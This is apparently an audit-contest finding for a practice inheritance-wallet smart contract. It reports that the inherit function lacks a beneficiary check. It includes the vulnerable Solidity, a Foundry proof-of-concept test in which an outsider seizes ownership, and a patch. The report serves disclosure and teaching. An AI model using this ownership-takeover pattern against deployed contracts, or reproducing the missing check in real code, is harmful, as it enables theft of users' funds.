Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

An outsider can steal the contract ownership

gautr

Summary

The contract is designed to allow the owner to recover ownership using a backup account. However, this process can be compromised due to the lack of a beneficiary address check, enabling an outsider to take ownership and steal all funds.

Vulnerability Details

The `InheritanceManager::inherit` does not verify the msg.sender is a beneficiary, so an outsider can take the contract ownership if the beneficiaries.length is equal to 1.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

POC

The following test in InheritanceManagerTest.t.sol demonstrates how an outsider can steal contract ownership:

function test_outsider_can_steal_contract_ownership() public {
// this happens when there is only one beneficiary
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
​
address attacker = makeAddr("attacker");
​
vm.warp(1);
vm.deal(address(im), 10e10);
vm.warp(1 + 90 days);
​
vm.startPrank(attacker);
im.inherit();
vm.stopPrank();
​
assertEq(attacker, im.getOwner());
}

Impact

  • The original owner will lose access to the contract.

  • The attacker will take ownership and can steal all funds.

Tools Used

  • Foundry

Recommendations

Add a check to compare the sender's address with the beneficiary address to ensure that only a valid backup account can inherit ownership.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
- if (beneficiaries.length == 1) {
+ if (beneficiaries.length == 1 && beneficiaries[0] == msg.sender) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
​

Additionally, as discussed in other submissions, the beneficiaries data structure can be changed to a mapping (mapping(address => bool)). This approach enables efficient verification without requiring loops and an outsider will not be able to set `isInherited` to true without the knowledge of a beneficiary. However, if a mapping is used, the withdrawal mechanism will also need modifications, as each user will be responsible for withdrawing their own funds.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.